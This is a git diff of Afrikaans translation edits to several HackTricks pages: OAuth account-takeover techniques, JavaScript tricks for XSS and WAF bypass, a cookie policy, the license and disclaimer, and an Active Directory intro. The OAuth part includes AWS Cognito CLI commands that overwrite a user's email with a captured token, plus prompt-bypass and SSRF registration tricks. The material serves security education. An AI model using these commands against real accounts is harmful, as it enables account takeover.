As jy die **auteurskode kan kry en dit met 'n ander kliënt kan gebruik, kan jy ander rekeninge oorneem**.
@ -126,7 +126,7 @@ As jy die **auteurskode kan kry en dit met 'n ander kliënt kan gebruik, kan jy
### AWS Cognito <a href="#bda5" id="bda5"></a>
In hierdie foutbounty verslag: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) kan jy sien dat die **token** wat **AWS Cognito** aan die gebruiker teruggee, **voldoende regte mag hê om die gebruikersdata te oorskryf**. Daarom, as jy die **gebruikers e-pos vir 'n ander gebruikers e-pos kan verander**, mag jy in staat wees om **ander** rekeninge oor te neem.
In hierdie bug bounty verslag: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) kan jy sien dat die **token** wat **AWS Cognito** aan die gebruiker teruggee, **voldoende regte mag hê om die gebruikersdata te oorskryf**. Daarom, as jy die **gebruikers e-pos vir 'n ander gebruikers e-pos kan verander**, mag jy in staat wees om **ander** rekeninge **oor te neem**.
```bash
# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
@ -146,7 +146,7 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ
Vir meer gedetailleerde inligting oor hoe om AWS cognito te misbruik, kyk:
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum
https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.html
{{#endref}}
### Misbruik van ander Apps tokens <a href="#bda5" id="bda5"></a>
@ -162,24 +162,24 @@ Dit is omdat 'n **aanvaller** 'n **aansoek kan skep wat OAuth ondersteun en met
Volgens [**hierdie skrywe**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), was dit moontlik om 'n slagoffer 'n bladsy te laat oopmaak met 'n **returnUrl** wat na die aanvaller se gasheer wys. Hierdie inligting sou **in 'n koekie (RU)** gestoor word en in 'n **latere stap** sal die **prompt** die **gebruiker** vra of hy toegang wil gee tot daardie aanvaller se gasheer.
Om hierdie prompt te omseil, was dit moontlik om 'n oortjie te open om die **Oauth vloei** te begin wat hierdie RU koekie met die **returnUrl** sou stel, die oortjie te sluit voordat die prompt vertoon word, en 'n nuwe oortjie te open sonder daardie waarde. Dan, die **prompt sal nie oor die aanvaller se gasheer inligting gee nie**, maar die koekie sou aan dit gestel word, sodat die **token na die aanvaller se gasheer gestuur sal word** in die herleiding.
Om hierdie prompt te omseil, was dit moontlik om 'n oortjie te open om die **Oauth vloei** te begin wat hierdie RU koekie met die **returnUrl** sou stel, die oortjie te sluit voordat die prompt vertoon word, en 'n nuwe oortjie te open sonder daardie waarde. Dan, die **prompt sal nie oor die aanvaller se gasheer inligting gee nie**, maar die koekie sou daartoe gestel word, sodat die **token na die aanvaller se gasheer gestuur sal word** in die herleiding.
### Prompt Interaksie Omseiling <a href="#bda5" id="bda5"></a>
Soos verduidelik in [**hierdie video**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), laat sommige OAuth implementasies toe om die **`prompt`** GET parameter as None (**`&prompt=none`**) aan te dui om **te voorkom dat gebruikers gevra word om die gegewe toegang in 'n prompt op die web te bevestig** as hulle reeds in die platform aangemeld is.
Soos verduidelik in [**hierdie video**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), laat sommige OAuth implementasies toe om die **`prompt`** GET parameter as None (**`&prompt=none`**) aan te dui om **te voorkom dat gebruikers gevra word om die gegewe toegang in 'n prompt op die web te bevestig as hulle reeds in die platform aangemeld is.**
### response_mode
Soos [**verduidelik in hierdie video**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), mag dit moontlik wees om die parameter **`response_mode`** aan te dui om aan te dui waar jy wil hê die kode in die finale URL moet verskaf word:
Soos [**verduidelik in hierdie video**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), mag dit moontlik wees om die parameter **`response_mode`** aan te dui om aan te dui waar jy wil hê die kode in die finale URL verskaf moet word:
- `response_mode=query` -> Die kode word binne 'n GET parameter verskaf: `?code=2397rf3gu93f`
- `response_mode=fragment` -> Die kode word binne die URL fragment parameter verskaf `#code=2397rf3gu93f`
- `response_mode=fragment` -> Die kode word binne die URL fragment parameter `#code=2397rf3gu93f` verskaf
- `response_mode=form_post` -> Die kode word binne 'n POST vorm met 'n invoer genaamd `code` en die waarde verskaf
- `response_mode=web_message` -> Die kode word in 'n pos boodskap gestuur: `window.opener.postMessage({"code": "asdasdasd...`
### OAuth ROPC vloei - 2 FA omseiling <a href="#b440" id="b440"></a>
Volgens [**hierdie blogpos**](https://cybxis.medium.com/a-bypass-on-gitlabs-login-email-verification-via-oauth-ropc-flow-e194242cad96), is dit 'n OAuth vloei wat toelaat om in OAuth aan te meld via **gebruikersnaam** en **wagwoord**. As tydens hierdie eenvoudige vloei 'n **token** met toegang tot al die aksies wat die gebruiker kan uitvoer, teruggestuur word, dan is dit moontlik om 2FA met daardie token te omseil.
Volgens [**hierdie blogpos**](https://cybxis.medium.com/a-bypass-on-gitlabs-login-email-verification-via-oauth-ropc-flow-e194242cad96), is dit 'n OAuth vloei wat toelaat om in OAuth aan te meld via **gebruikersnaam** en **wagwoord**. As 'n **token** met toegang tot al die aksies wat die gebruiker kan uitvoer tydens hierdie eenvoudige vloei teruggestuur word, dan is dit moontlik om 2FA met daardie token te omseil.
### ATO op webblad wat herlei op grond van oop herleiding na verwysing <a href="#bda5" id="bda5"></a>
@ -194,15 +194,15 @@ Hierdie [**blogpos**](https://blog.voorivex.team/oauth-non-happy-path-to-ato) be
[**Kyk hierdie navorsing**](https://portswigger.net/research/hidden-oauth-attack-vectors) **Vir verdere besonderhede van hierdie tegniek.**
Dinamiese Kliënt Registrasie in OAuth dien as 'n minder voor die hand liggende maar kritieke vektor vir sekuriteits kwesbaarhede, spesifiek vir **Server-Side Request Forgery (SSRF)** aanvalle. Hierdie eindpunt laat OAuth bedieners toe om besonderhede oor kliënt aansoeke te ontvang, insluitend sensitiewe URL's wat misbruik kan word.
Dinamiese Kliënt Registrasie in OAuth dien as 'n minder voor die hand liggende maar kritieke vektor vir sekuriteitskwesbaarhede, spesifiek vir **Server-Side Request Forgery (SSRF)** aanvalle. Hierdie eindpunt laat OAuth bedieners toe om besonderhede oor kliënt aansoeke te ontvang, insluitend sensitiewe URL's wat misbruik kan word.
**Belangrike Punten:**
- **Dinamiese Kliënt Registrasie** word dikwels aan `/register` gekoppel en aanvaar besonderhede soos `client_name`, `client_secret`, `redirect_uris`, en URL's vir logo's of JSON Web Key Sets (JWKs) via POST versoeke.
- **Dinamiese Kliënt Registrasie** word dikwels aan `/register` gekarteer en aanvaar besonderhede soos `client_name`, `client_secret`, `redirect_uris`, en URL's vir logo's of JSON Web Key Sets (JWKs) via POST versoeke.
- Hierdie funksie voldoen aan spesifikasies uiteengesit in **RFC7591** en **OpenID Connect Registrasie 1.0**, wat parameters insluit wat potensieel kwesbaar is vir SSRF.
- Die registrasieproses kan per ongeluk bedieners aan SSRF blootstel op verskeie maniere:
- Die registrasieproses kan onbedoeld bedieners aan SSRF blootstel op verskeie maniere:
- **`logo_uri`**: 'n URL vir die kliënt aansoek se logo wat deur die bediener opgevraag kan word, wat SSRF kan aktiveer of kan lei tot XSS as die URL verkeerd hanteer word.
- **`jwks_uri`**: 'n URL na die kliënt se JWK dokument, wat, as dit kwaadwillig saamgestel is, die bediener kan dwing om uitgaande versoeke na 'n aanvaller-beheerde bediener te maak.
- **`jwks_uri`**: 'n URL na die kliënt se JWK dokument, wat, as dit kwaadwillig saamgestel is, die bediener kan laat uitgaande versoeke na 'n aanvaller-beheerde bediener maak.
- **`sector_identifier_uri`**: Verwys na 'n JSON-array van `redirect_uris`, wat die bediener mag opvra, wat 'n SSRF geleentheid skep.
- **`request_uris`**: Lys toegelate versoek URI's vir die kliënt, wat misbruik kan word as die bediener hierdie URI's aan die begin van die outorisering proses opvra.

View File

@ -108,9 +108,9 @@ log.push(i)
console.log(log) //34,39,47,96
//single quote, quotes, backticks & // (regex)
```
### **Surrogaat Parels BF**
### **Surrogate Pairs BF**
Hierdie tegniek sal nie baie nuttig wees vir XSS nie, maar dit kan nuttig wees om WAF-beskermings te omseil. Hierdie python kode ontvang 2 bytes as invoer en soek 'n surrogaat paar wat die eerste byte as die laaste byte van die hoë surrogaat paar en die laaste byte as die laaste byte van die lae surrogaat paar het.
Hierdie tegniek sal nie baie nuttig wees vir XSS nie, maar dit kan nuttig wees om WAF-beskermings te omseil. Hierdie python kode ontvang 2 bytes as invoer en soek 'n surrogate paar wat die eerste byte as die laaste byte van die hoë surrogate paar het en die laaste byte as die laaste byte van die lae surrogate paar.
```python
def unicode(findHex):
for i in range(0,0xFFFFF):
@ -152,7 +152,7 @@ document.body.append(anchor)
a = document.createElement("a")
log = []
for (let i = 0; i <= 0x10ffff; i++) {
a.href = `${String.fromCodePoint(i)}https://hacktricks.xyz`
a.href = `${String.fromCodePoint(i)}https://hacktricks.wiki`
if (a.hostname === "hacktricks.xyz") {
log.push(i)
}
@ -197,7 +197,7 @@ Die hulpmiddel **Hackability inspector** van Portswigger help om die **attribuut
## "--" Toewysing
Die afname operateur `--` is ook 'n toewysing. Hierdie operateur neem 'n waarde en verminder dit dan met een. As daardie waarde nie 'n nommer is nie, sal dit op `NaN` gestel word. Dit kan gebruik word om die **inhoud van veranderlikes uit die omgewing te verwyder**.
Die afname operateur `--` is ook 'n toewysing. Hierdie operateur neem 'n waarde en verminder dit dan met een. As daardie waarde nie 'n getal is nie, sal dit op `NaN` gestel word. Dit kan gebruik word om die **inhoud van veranderlikes uit die omgewing te verwyder**.
![](<../../images/image (993).png>)
@ -208,7 +208,7 @@ Die afname operateur `--` is ook 'n toewysing. Hierdie operateur neem 'n waarde
### .call en .apply
Die **`.call`** metode van 'n funksie word gebruik om die **funksie** te **hardloop**.\
Die **eerste argument** wat dit standaard verwag, is die **waarde van `this`** en as **niks** verskaf word nie, sal **`window`** daardie waarde wees (tenzij **`strikte modus`** gebruik word).
Die **eerste argument** wat dit standaard verwag, is die **waarde van `this`** en as **niks** verskaf word nie, sal **`window`** daardie waarde wees (tenzij **`strict mode`** gebruik word).
```javascript
function test_call() {
console.log(this.value) //baz
@ -239,9 +239,9 @@ console.log(this) //[object Window]
}
test_apply.apply(null, ["arg1", "arg2"])
```
### Pylpunte funksies
### Pylfunksies
Pylpunte funksies laat jou toe om funksies in 'n enkele lyn makliker te genereer (as jy hulle verstaan)
Pylfunksies laat jou toe om funksies in 'n enkele lyn makliker te genereer (as jy hulle verstaan)
```javascript
// Traditional
function (a){ return a + 1; }
@ -274,9 +274,9 @@ return a + 1
//Arrow
plusone = (a) => a + 100
```
### Bind-funksie
### Bind funksie
Die bind-funksie laat jou toe om 'n **kopie** van 'n **funksie te skep wat** die **`this`** objek en die **parameters** wat gegee is, wysig.
Die bind funksie laat jou toe om 'n **kopie** van 'n **funksie te skep wat** die **`this`** objek en die **parameters** wat gegee is, **wysig**.
```javascript
//This will use the this object and print "Hello World"
var fn = function (param1, param2) {
@ -315,7 +315,7 @@ console.log(String(afunc)) //This will print the code of the function
console.log(this.afunc.toString()) //This will print the code of the function
console.log(global.afunc.toString()) //This will print the code of the function
```
In gevalle waar die **funksie geen naam het nie**, kan jy steeds die **funksie kode** van binne af druk:
In gevalle waar die **funksie geen naam het nie**, kan jy steeds die **funksie kode** van binne druk:
```javascript
;(function () {
return arguments.callee.toString()

View File

@ -1,45 +1,45 @@
# Koekiesbeleid
# Cookiesbeleid
Laas opgedateer: 02/04/2023
### Inleiding
Hierdie Koekiesbeleid is van toepassing op die volgende webwerwe wat besit en bedryf word deur die HackTricks-span ("HackTricks", "ons" of "ons"):
Hierdie Cookiesbeleid is van toepassing op die volgende webwerwe wat besit en bedryf word deur die HackTricks-span ("HackTricks", "ons" of "ons"):
* hacktricks.xyz
* [www.hacktricks.xyz](http://www.hacktricks.xyz/)
* book.hacktricks.xyz
* cloud.hacktricks.xyz
* hacktricks.wiki
* [www.hacktricks.wiki](https://www.hacktricks.wiki/)
* book.hacktricks.wiki
* cloud.hacktricks.wiki
Deur enige van hierdie webwerwe te gebruik, stem jy in tot die gebruik van koekies in ooreenstemming met hierdie Koekiesbeleid. As jy nie saamstem nie, skakel asseblief koekies in jou blaaiersinstellings af of onthou om ons webwerwe nie te gebruik nie.
Deur enige van hierdie webwerwe te gebruik, stem jy in met die gebruik van koekies in ooreenstemming met hierdie Cookiesbeleid. As jy nie saamstem nie, skakel asseblief koekies in jou blaaiersinstellings af of onthou om ons webwerwe nie te gebruik nie.
### Wat is koekies?
Koekies is klein tekslêers wat op jou rekenaar of mobiele toestel gestoor word wanneer jy 'n webwerf besoek. Hulle word wyd gebruik om webwerwe te laat werk, hul funksionaliteit te verbeter, en 'n meer persoonlike gebruikerservaring te bied.
Koekies is klein tekslêers wat op jou rekenaar of mobiele toestel gestoor word wanneer jy 'n webwerf besoek. Hulle word wyd gebruik om webwerwe te laat werk, hul funksionaliteit te verbeter en 'n meer persoonlike gebruikerservaring te bied.
### Hoe ons koekies gebruik
Ons gebruik koekies op ons webwerwe vir die volgende doeleindes:
1. Essensiële koekies: Hierdie koekies is noodsaaklik vir die basiese funksionaliteit van ons webwerwe, soos om gebruikersverifikasie moontlik te maak, sekuriteit te handhaaf, en jou voorkeure te onthou.
1. Essensiële koekies: Hierdie koekies is noodsaaklik vir die basiese funksionaliteit van ons webwerwe, soos om gebruikersverifikasie moontlik te maak, sekuriteit te handhaaf en jou voorkeure te onthou.
2. Prestasie koekies: Hierdie koekies help ons om te verstaan hoe besoekers met ons webwerwe interaksie het, deur anoniem inligting te versamel en te rapporteer. Dit stel ons in staat om ons webwerf se prestasie en gebruikerservaring te verbeter.
3. Funksionaliteit koekies: Hierdie koekies stel ons webwerwe in staat om keuses wat jy maak te onthou, soos jou taal of streek, om 'n meer persoonlike ervaring te bied.
4. Teiken/advertering koekies: Hierdie koekies word gebruik om relevante advertensies en bemarkingskommunikasies te lewer gebaseer op jou belangstellings, blaai geskiedenis, en interaksies met ons webwerwe.
4. Teiken/advertering koekies: Hierdie koekies word gebruik om relevante advertensies en bemarkingskommunikasies te lewer op grond van jou belangstellings, blaai geskiedenis en interaksies met ons webwerwe.
Boonop is die bladsye book.hacktricks.xyz en cloud.hacktricks.xyz gehos in Gitbook. Jy kan meer inligting oor Gitbook se koekies vind in [https://gitbook-1652864889.teamtailor.com/cookie-policy](https://gitbook-1652864889.teamtailor.com/cookie-policy).
Boonop word die bladsye book.hacktricks.wiki en cloud.hacktricks.wiki in Gitbook gehos. Jy kan meer inligting oor Gitbook se koekies vind in [https://gitbook-1652864889.teamtailor.com/cookie-policy](https://gitbook-1652864889.teamtailor.com/cookie-policy).
### Derdeparty koekies
Benewens ons eie koekies, mag ons ook derdeparty koekies gebruik om webwerfgebruikstatistieke te rapporteer, advertensies te lewer, en sosiale media deelknoppies moontlik te maak. Die gebruik van derdeparty koekies is onderhewig aan hul onderskeie privaatheidsbeleide.
Benewens ons eie koekies, mag ons ook derdeparty koekies gebruik om webwerfgebruikstatistieke te rapporteer, advertensies te lewer en sosiale media deelknoppies moontlik te maak. Die gebruik van derdeparty koekies is onderhewig aan hul onderskeie privaatheidsbeleide.
Bestuur van koekies
Koekies bestuur
Meeste webblaaiers laat jou toe om koekies deur hul instellings te bestuur. Jy kan kies om koekies op jou toestel te blokkeer, te verwyder, of die gebruik daarvan te beperk. Hou egter in gedagte dat die deaktivering van koekies die funksionaliteit en prestasie van ons webwerwe kan beïnvloed.
Die meeste webblaaiers laat jou toe om koekies deur hul instellings te bestuur. Jy kan kies om die gebruik van koekies op jou toestel te blokkeer, te verwyder of te beperk. Hou egter in gedagte dat die deaktivering van koekies die funksionaliteit en prestasie van ons webwerwe kan beïnvloed.
Veranderinge aan hierdie Koekiesbeleid
Veranderinge aan hierdie Cookiesbeleid
Ons mag hierdie Koekiesbeleid van tyd tot tyd opdateer om veranderinge in ons praktyke of relevante wette te weerspieël. Ons moedig jou aan om hierdie bladsy periodiek te hersien vir die nuutste inligting oor ons koekiepraktyke.
Ons mag hierdie Cookiesbeleid van tyd tot tyd opdateer om veranderinge in ons praktyke of relevante wette te weerspieël. Ons moedig jou aan om hierdie bladsy periodiek te hersien vir die nuutste inligting oor ons koekiepraktyke.
### Kontak ons
As jy enige vrae of bekommernisse oor hierdie Koekiesbeleid het, kontak ons asseblief by [support@hacktricks.xyz](mailto:support@hacktricks.xyz)
As jy enige vrae of bekommernisse oor hierdie Cookiesbeleid het, kontak ons asseblief by [support@hacktricks.xyz](mailto:support@hacktricks.xyz)

View File

@ -10,8 +10,8 @@
> - Gee **VRYE** toegang tot **OPVOEDKUNDIGE hacking** hulpbronne aan **AL** Internet.
> - Hacking gaan oor leer, en leer moet so vry as moontlik wees.
> - Die doel van hierdie boek is om as 'n omvattende **opvoedkundige hulpbron** te dien.
> - **BEREKEN** wonderlike **hacking** tegnieke wat die gemeenskap publiseer en gee die **ORIGINELE** **SKRYVERS** al die **krediete**.
> - **Ons wil nie die krediet van ander mense nie**, ons wil net cool truuks stoor vir almal.
> - **BLAK** wonderlike **hacking** tegnieke wat die gemeenskap publiseer en gee die **OORSPRONKLIKE** **SKRYVERS** al die **krediete**.
> - **Ons wil nie die krediet van ander mense nie**, ons wil net cool truuks stoor vir almal.
> - Ons skryf ook **ons eie navorsings** in HackTricks.
> - In verskeie gevalle sal ons net **in HackTricks 'n opsomming van die belangrike dele** van die tegniek skryf en sal ons **die leser aanmoedig om die oorspronklike pos te besoek** vir meer besonderhede.
> - **ORGANISEER** al die hacking tegnieke in die boek sodat dit **MEER TOEGANKLIK** is.
@ -44,20 +44,20 @@ Moet nie vergeet om **'n ster in die Github projekte te gee nie!**
>
> - **Kan ek 'n paar inhoud van HackTricks kopieer en dit in my blog plaas?**
Ja, jy kan, maar **moet nie vergeet om die spesifieke skakel(s)** waar die inhoud geneem is te noem nie.
Ja, jy kan, maar **moet nie vergeet om die spesifieke skakel(s)** waar die inhoud vandaan gekom het te noem nie.
> [!TIP]
>
> - **Hoe kan ek 'n bladsy van HackTricks aanhaal?**
Solank as die skakel **van** die bladsy(s) waar jy die inligting geneem het verskyn, is dit genoeg.\
Solank as die skakel **van** die bladsy(e) waar jy die inligting vandaan geneem het verskyn, is dit genoeg.\
As jy 'n bibtex nodig het, kan jy iets soos gebruik:
```latex
@misc{hacktricks-bibtexing,
author = {"HackTricks Team" or the Authors name of the specific page/trick},
title = {Title of the Specific Page},
year = {Year of Last Update (check it at the end of the page)},
url = {\url{https://book.hacktricks.xyz/specific-page}},
url = {\url{https://book.hacktricks.wiki/specific-page}},
}
```
> [!WARNING]
@ -66,7 +66,7 @@ url = {\url{https://book.hacktricks.xyz/specific-page}},
**Ek verkies om nie**. Dit **gaan niemand bevoordeel nie** aangesien al die **inhoud reeds publiek beskikbaar** is in die amptelike HackTricks boeke gratis.
As jy bang is dat dit sal verdwyn, fork dit net in Github of laai dit af, soos ek gesê het, dit is reeds gratis.
As jy bang is dat dit gaan verdwyn, fork dit net in Github of laai dit af, soos ek gesê het, dit is reeds gratis.
> [!WARNING]
>
@ -74,9 +74,9 @@ As jy bang is dat dit sal verdwyn, fork dit net in Github of laai dit af, soos e
Die eerste **HackTricks** **waarde** is om **GRATIS** hacking opvoedkundige hulpbronne aan **AL** die wêreld te bied. Die HackTricks span het **duisende ure** toegewy om hierdie inhoud aan te bied, weer, **GRATIS**.
As jy dink HackTricks boeke is gemaak vir **kommersiële doeleindes** is jy **HEELTEMAL FOUT**.
As jy dink HackTricks boeke is gemaak vir **kommersiële doeleindes** is jy **HEELTEMAL VERKEERD**.
Ons het borge omdat, selfs al is al die inhoud **GRATIS**, ons wil **die gemeenskap die moontlikheid bied om ons werk te waardeer** as hulle wil. Daarom bied ons mense die opsie om aan HackTricks te skenk via [**Github sponsors**](https://github.com/sponsors/carlospolop), en **relevante kuberveiligheidsmaatskappye** om HackTricks te borg en om **'n paar advertensies** in die boek te hê, wat die **advertensies** altyd op plekke geplaas word waar hulle **sigbaar** is maar **nie die leer** proses steur nie as iemand op die inhoud fokus.
Ons het borge omdat, selfs al is al die inhoud GRATIS, ons wil **die gemeenskap die moontlikheid bied om ons werk te waardeer** as hulle wil. Daarom bied ons mense die opsie om aan HackTricks te skenk via [**Github sponsors**](https://github.com/sponsors/carlospolop), en **relevante kuberveiligheidsmaatskappye** om HackTricks te borg en om **'n paar advertensies** in die boek te hê, wat die **advertensies** altyd geplaas word in plekke waar hulle **sigbaar** is maar **nie die leer** proses steur as iemand op die inhoud fokus nie.
Jy sal nie HackTricks vol irritante advertensies vind soos ander blogs met baie minder inhoud as HackTricks nie, omdat HackTricks nie gemaak is vir kommersiële doeleindes nie.
@ -84,7 +84,7 @@ Jy sal nie HackTricks vol irritante advertensies vind soos ander blogs met baie
>
> - **Wat moet ek doen as 'n HackTricks bladsy gebaseer is op my blogpos maar dit nie verwys word nie?**
**Ons is baie jammer. Dit moes nie gebeur het nie**. Laat ons asseblief weet via Github issues, Twitter, Discord... die skakel van die HackTricks bladsy met die inhoud en die skakel van jou blog en **ons sal dit nagaan en dit ASAP byvoeg**.
**Ons is baie jammer. Dit moes nie gebeur het nie**. Laat weet ons asseblief via Github issues, Twitter, Discord... die skakel van die HackTricks bladsy met die inhoud en die skakel van jou blog en **ons sal dit nagaan en dit ASAP byvoeg**.
> [!CAUTION]
>
@ -96,48 +96,48 @@ Let daarop dat om skakels na jou bladsy in HackTricks te hê:
- Die inhoud word **vertaal na meer as 15 tale** wat dit moontlik maak vir meer mense om toegang tot hierdie inhoud te hê
- **HackTricks moedig** mense aan om **jou bladsy te kyk** (verskeie mense het vir ons genoem dat sedert 'n paar van hulle se bladsye in HackTricks is, hulle meer besoeke ontvang)
As jy egter steeds wil hê dat die inhoud van jou blog verwyder moet word uit HackTricks, laat ons net weet en ons sal beslis **elke skakel na jou blog verwyder**, en enige inhoud gebaseer daarop.
As jy egter steeds wil hê dat die inhoud van jou blog verwyder moet word uit HackTricks, laat weet ons net en ons sal beslis **elke skakel na jou blog verwyder**, en enige inhoud gebaseer daarop.
> [!CAUTION]
>
> - **Wat moet ek doen as ek gekopieerde inhoud in HackTricks vind?**
Ons **gee altyd die oorspronklike outeurs al die krediet**. As jy 'n bladsy vind met gekopieerde inhoud sonder oorspronklike bron verwysing, laat ons weet en ons sal of **dit verwyder**, **die skakel voor die teks byvoeg**, of **dit herskryf met die skakel**.
Ons **gee altyd die oorspronklike outeurs al die krediet**. As jy 'n bladsy vind met gekopieerde inhoud sonder oorspronklike bron verwysing, laat weet ons en ons sal of **dit verwyder**, **die skakel voor die teks byvoeg**, of **dit herskryf met die skakel**.
## LICENSE
Copyright © Alle regte voorbehou tensy anders vermeld.
#### Lisensie Opsomming:
#### License Summary:
- Toekenning: Jy is vry om:
- Deel — kopieer en versprei die materiaal in enige medium of formaat.
- Pas aan — remix, transformeer, en bou voort op die materiaal.
- Attribution: Jy is vry om:
- Share — kopieer en versprei die materiaal in enige medium of formaat.
- Adapt — remix, transformeer, en bou voort op die materiaal.
#### Bykomende Voorwaardes:
#### Additional Terms:
- Derdeparty Inhoud: Sommige dele van hierdie blog/boek mag inhoud van ander bronne insluit, soos uittreksels van ander blogs of publikasies. Die gebruik van sulke inhoud word gedoen onder die beginsels van billike gebruik of met eksplisiete toestemming van die onderskeie kopiereghouers. Verwys asseblief na die oorspronklike bronne vir spesifieke lisensiëring inligting rakende derdeparty inhoud.
- Auteurskap: Die oorspronklike inhoud geskryf deur HackTricks is onderhewig aan die voorwaardes van hierdie lisensie. Jy word aangemoedig om hierdie werk aan die outeur toe te ken wanneer jy dit deel of aanpas.
- Third-Party Content: Sommige dele van hierdie blog/boek mag inhoud van ander bronne insluit, soos uittreksels van ander blogs of publikasies. Die gebruik van sulke inhoud word gedoen onder die beginsels van billike gebruik of met eksplisiete toestemming van die onderskeie kopiereg houers. Verwys asseblief na die oorspronklike bronne vir spesifieke lisensiëring inligting rakende derdeparty inhoud.
- Authorship: Die oorspronklike inhoud geskryf deur HackTricks is onderhewig aan die bepalings van hierdie lisensie. Jy word aangemoedig om hierdie werk aan die outeur toe te ken wanneer jy dit deel of aanpas.
#### Uitsonderings:
#### Exemptions:
- Kommersiële Gebruik: Vir navrae rakende kommersiële gebruik van hierdie inhoud, kontak asseblief my.
- Commercial Use: Vir navrae rakende kommersiële gebruik van hierdie inhoud, kontak my asseblief.
Hierdie lisensie gee nie enige handelsmerk of handelsnaam regte in verband met die inhoud nie. Alle handelsmerke en handelsname wat in hierdie blog/boek verskyn, is die eiendom van hul onderskeie eienaars.
**Deur toegang te verkry tot of HackTricks te gebruik, stem jy in om die voorwaardes van hierdie lisensie na te kom. As jy nie met hierdie voorwaardes saamstem nie, asseblief, moenie toegang tot hierdie webwerf verkry nie.**
**Deur toegang te verkry tot of HackTricks te gebruik, stem jy in om die bepalings van hierdie lisensie na te kom. As jy nie met hierdie bepalings saamstem nie, asseblief, moenie toegang tot hierdie webwerf verkry nie.**
## **Vrywaring**
## **Disclaimer**
> [!CAUTION]
> Hierdie boek, 'HackTricks,' is bedoel vir opvoedkundige en informele doeleindes slegs. Die inhoud binne hierdie boek word op 'n 'soos dit is' basis verskaf, en die outeurs en uitgewers maak geen verteenwoordigings of waarborge van enige aard, uitdruklik of geïmpliseer, oor die volledigheid, akkuraatheid, betroubaarheid, geskiktheid, of beskikbaarheid van die inligting, produkte, dienste, of verwante grafika wat in hierdie boek bevat is nie. Enige vertroue wat jy op sulke inligting plaas, is dus streng op jou eie risiko.
> Hierdie boek, 'HackTricks,' is bedoel vir opvoedkundige en inligtingsdoeleindes slegs. Die inhoud binne hierdie boek word op 'n 'soos dit is' basis verskaf, en die outeurs en uitgewers maak geen verteenwoordigings of waarborge van enige aard, uitdruklik of geïmpliseer, oor die volledigheid, akkuraatheid, betroubaarheid, geskiktheid, of beskikbaarheid van die inligting, produkte, dienste, of verwante grafika wat binne hierdie boek bevat is nie. Enige vertroue wat jy op sulke inligting plaas, is dus streng op jou eie risiko.
>
> Die outeurs en uitgewers sal in geen geval aanspreeklik wees vir enige verlies of skade, insluitend sonder beperking, indirekte of gevolglike verlies of skade, of enige verlies of skade wat ontstaan uit verlies van data of wins wat ontstaan uit, of in verband met, die gebruik van hierdie boek.
>
> Verder, die tegnieke en wenke wat in hierdie boek beskryf word, word slegs vir opvoedkundige en informele doeleindes verskaf, en moet nie vir enige onwettige of kwaadwillige aktiwiteite gebruik word nie. Die outeurs en uitgewers keur geen onwettige of onetiese aktiwiteite goed nie, en enige gebruik van die inligting wat in hierdie boek bevat is, is op die gebruiker se eie risiko en diskresie.
> Verder, die tegnieke en wenke wat in hierdie boek beskryf word, word slegs vir opvoedkundige en inligtingsdoeleindes verskaf, en moet nie vir enige onwettige of kwaadwillige aktiwiteite gebruik word nie. Die outeurs en uitgewers keur geen onwettige of onetiese aktiwiteite goed nie, en enige gebruik van die inligting wat binne hierdie boek bevat is, is op die gebruiker se eie risiko en diskresie.
>
> Die gebruiker is slegs verantwoordelik vir enige aksies wat geneem word op grond van die inligting wat in hierdie boek bevat is, en moet altyd professionele advies en hulp soek wanneer hulle probeer om enige van die tegnieke of wenke wat hier beskryf word, te implementeer.
> Die gebruiker is slegs verantwoordelik vir enige aksies wat geneem word op grond van die inligting wat binne hierdie boek bevat is, en moet altyd professionele advies en hulp soek wanneer hulle probeer om enige van die tegnieke of wenke wat hierin beskryf word, te implementeer.
>
> Deur hierdie boek te gebruik, stem die gebruiker in om die outeurs en uitgewers van enige en alle aanspreeklikheid en verantwoordelikheid vir enige skade, verliese, of skade wat mag ontstaan uit die gebruik van hierdie boek of enige van die inligting wat daarin bevat is, vry te stel.
> Deur hierdie boek te gebruik, stem die gebruiker in om die outeurs en uitgewers vry te stel van enige en alle aanspreeklikheid en verantwoordelikheid vir enige skade, verliese, of skade wat mag voortvloei uit die gebruik van hierdie boek of enige van die inligting wat daarin bevat is.
{{#include ../banners/hacktricks-training.md}}

View File

@ -12,14 +12,14 @@ Belangrike konsepte binne **Aktiewe Gids** sluit in:
1. **Gids** Huis al die inligting rakende Aktiewe Gids objekte.
2. **Objek** Verwys na entiteite binne die gids, insluitend **gebruikers**, **groepe**, of **gedeelde vouers**.
3. **Domein** Dien as 'n houer vir gidsobjekte, met die vermoë dat verskeie domeine binne 'n **woud** kan bestaan, elk wat sy eie objekversameling handhaaf.
3. **Domein** Dien as 'n houer vir gidsobjekte, met die vermoë dat verskeie domeine saam in 'n **woud** kan bestaan, elk wat sy eie objekversameling handhaaf.
4. **Boom** 'n Groepering van domeine wat 'n gemeenskaplike worteldomein deel.
5. **Woud** Die hoogtepunt van organisatoriese struktuur in Aktiewe Gids, saamgestel uit verskeie bome met **vertrouensverhoudings** tussen hulle.
**Aktiewe Gids Domein Dienste (AD DS)** omvat 'n reeks dienste wat krities is vir die gesentraliseerde bestuur en kommunikasie binne 'n netwerk. Hierdie dienste sluit in:
1. **Domein Dienste** Sentraliseer data berging en bestuur interaksies tussen **gebruikers** en **domeine**, insluitend **verifikasie** en **soek** funksies.
2. **Sertifikaat Dienste** Toesig oor die skepping, verspreiding, en bestuur van veilige **digitale sertifikate**.
2. **Sertifikaat Dienste** Oorsien die skepping, verspreiding, en bestuur van veilige **digitale sertifikate**.
3. **Liggewig Gids Dienste** Ondersteun gids-geaktiveerde toepassings deur die **LDAP protokol**.
